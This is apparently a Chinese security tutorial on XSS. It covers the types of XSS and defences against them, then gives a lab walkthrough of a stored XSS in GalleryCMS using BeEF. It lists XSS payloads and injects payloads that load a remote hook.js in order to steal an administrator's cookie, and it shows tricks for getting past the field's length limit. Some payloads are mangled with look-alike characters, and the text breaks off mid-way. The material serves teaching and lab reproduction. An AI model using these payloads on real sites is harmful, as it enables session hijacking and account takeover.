• XSS详解及复现gallerycms字符长度限制短域名绕过


    一、什么是XSS

    1、xss的原理

    跨站脚本攻击XSS。恶意攻击者网web页面中插入恶意的script代码,当用户浏览该页时,嵌入web页面中的script代码会被执行,从而达到恶意攻击用户的目的。XSS针对的是用户层面的攻击。

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括JavaVBScriptActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    简单来说:XSS产生的原因就是你对用户的输入做一个合法的过滤。你没有对用户的输入过滤完善,导致用户将恶意代码输入进你的页面中了。

    2、XSS漏洞的危害

    在这里插入图片描述

    二、XSS攻击有哪几种类型?

    常见的 XSS 攻击有三种:反射型XSS攻击、DOM-based 型XXS攻击以及存储型XSS攻击。

    1.反射型XSS攻击(目前基本不收,除非找到百度主站)

    反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。反射型XSS通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

    2.存储型XSS攻击

    也叫持久型XSS,主要将XSS代码提交存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

    3.DOM-based 型XSS攻击

    基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。

    咱们的JS把你的页面解析为一个DOM树,每一个标签称之为一个DOM元素。

    可能触发DOM型XSS的属性

    document.referer
    window.name
    location
    innerHTML
    documen.write

    在这里插入图片描述
    在这里插入图片描述

    三、如何防御XSS攻击?

    1. 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。

    2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。

    3. 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。

    4. 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。

    5. 后端接口也应该要做到关键字符过滤的问题。

    XSS的攻击载荷

    以下所有标签的 > 都可以用 // 代替, 例如

    标签: 标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

    <script>alert("hack")</script>   #弹出hack
    <script>alert(/hack/)</script>   #弹出hack
    <script>alert(1)</script>        #弹出1,对于数字可以不用引号
    <script>alert(document.cookie)</script>      #弹出cookie
    <script src=http://xxx.com/xss.js></script>  #引用外部的xss
    
    • 1
    • 2
    • 3
    • 4
    • 5

    svg标签

    <svg onload="alert(1)">
    <svg onload="alert(1)"//
    
    • 1
    • 2

    标签:

    <img  src=1  οnerrοr=alert("hack")>
    <img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
    
    • 1
    • 2

    标签

    <body οnlοad=alert(1)>
    <body οnpageshοw=alert(1)>
    
    • 1
    • 2

    video标签:

    <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
    
    • 1

    style标签:

    <style οnlοad=alert(1)>style>
    
    • 1

    XSS可以插在哪里?

    • 用户输入作为script标签内容
    • 用户输入作为HTML注释内容
    • 用户输入作为HTML标签的属性名
    • 用户输入作为HTML标签的属性值
    • 用户输入作为HTML标签的名字
    • 直接插入到CSS里
    • 最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!
    #用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
    
    <script>alert('hack')script>
    
    #用户输入作为标签属性名,导致攻击者可以进行闭合绕过
    <div 用户输入="xx">  div>
    <div >div><script>alert('hack')script><div a="xx"> div>
    
    #用户输入作为标签属性值,导致攻击者可以进行闭合绕过
    <div id="用户输入">div>
    <div id="">div><script>alert('hack')script><div a="x">div>
    
    #用户输入作为标签名,导致攻击者可以进行闭合绕过
    <用户输入  id="xx" />
    <><script>alert('hack')script><b id="xx" />
    
    #用户输入作为CSS内容,导致攻击者可以进行闭合绕过
    <style>用户输入<style>
    <style> style><script>alert('hack')script><style> style>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    XSS漏洞的挖掘

    黑盒测试

    尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

    • URL的每一个参数
    • URL本身
    • 表单
    • 搜索框

    常见业务场景

    • 重灾区:评论区、留言区、个人信息、订单信息等
    • 针对型:站内信、网页即时通讯、私信、意见反馈
    • 存在风险:搜索框、当前目录、图片属性等

    白盒测试(代码审计)

    关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

    PHP中常见的接收参数的方式有$_GET$_POST$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

    也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

    大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

    同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

    四、复现gallerycms字符长度限制短域名绕过

    1、安装beef-xss

    #安装
    apt install beef-xss
    #启动
    beef-xss
    #进入网址
    127.0.0.1:3000/ui/panel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    登陆成功

    2、搭建gallerycms

    github上下载gallerycms

    地址:https://github.com/bensonarts/GalleryCMS

    搭建要求:

    • PHP >= 5.2
    • MySQL Database

    这里演示的是远程服务器,把文件上传并解压到某个位置
    在这里插入图片描述

    设置数据库账号密码,在application下的config下的databases.php文件当中修改
    在这里插入图片描述

    网页显示如下,原因是在新版本的PHP中,打开的旧版的CI框架,报错如下,这里我的php版本为7.0
    在这里插入图片描述

    第一个框解决方法如下:

    打开System\core\Common.php

    修改如下内容

    return $_config[0] =& $config;

    $_config[0] =& $config;
    return $_config[0];

    第二个框解决办法如下:

    将PHP版本改为5.6即可

    进入数据库创建gallerycms数据库

    再次访问网站 http://地址/security/gallery/

    注册后数据自动存放在数据库

    登录
    在这里插入图片描述

    在这里插入图片描述

    随便输入aaaa,数据库记录值
    在这里插入图片描述

    清空album表之后再次创建,引入beef-xss的钩子 hook.js 来获取管理员的cookie

    就是这个钩子
    在这里插入图片描述

    在框中引入钩子,并打开f12,注意观察

    <script>$.getScript("//192.168.17.138:3000/hook.js")</script>
    
    • 1

    在这里插入图片描述

    超出长度限制,最大限制45个字符

    在这里插入图片描述

    这里我们先改成85个字节,代码改了,数据库也要改

    application下的controllers下的ablum.php
    在这里插入图片描述

    在这里插入图片描述

    重新输入后再去查看beef,OK已上线
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    这样就成功上线,利用了xss存储型漏洞

    在这里插入图片描述

    这样xss存储型漏洞就可以获取到管理员的后台地址,管理员的cookie,拿到cookie也就意味着可以直接登录,但是目前有一个问题,就是我们现在做的是一个测试,字符串长度没有太多的限制,在真实项目中你肯定不能这样去做

    这里我们将源码改回去

    在这里插入图片描述

    再次测试,发现几乎所有的标签都被过滤掉了,但是有一个没有别过滤掉,那就是svg标签

    <svg/onload="alert(1)">
    
    • 1

    但是我以让想去获取管理员的cookie怎么办?但是beef的长度太长了

    <svg/onload=$.getScript("//192.168.17.138:3000/hook.js")>
    
    • 1

    3.复现GalleryCMS短字符绕过

    在提交框中输入提交后发现被过滤

    目前有两个难题:第一个他没有过滤script标签,他对长度非常苛刻,限制在25。第二个他过滤了script标签,他对长度有一定的要求35。

    所以你只能去找一个短域名。

    '1')>'.length
    29
    '//1111')>'.length
    34
    
    • 1
    • 2
    • 3
    • 4

    要是我们可以直接把hook.js写进index.html呢?

    通过短域名的方式直接引进网页实现上线

    这样的长度已经是极限了,20个字符

    ''.length
    20
    
    • 1
    • 2

    script标签的src可以引入我们想要引入的hook.js文件,

    因为html有自动补全的功能,所以我们再去减省要输入字符的长度,15个字符

    '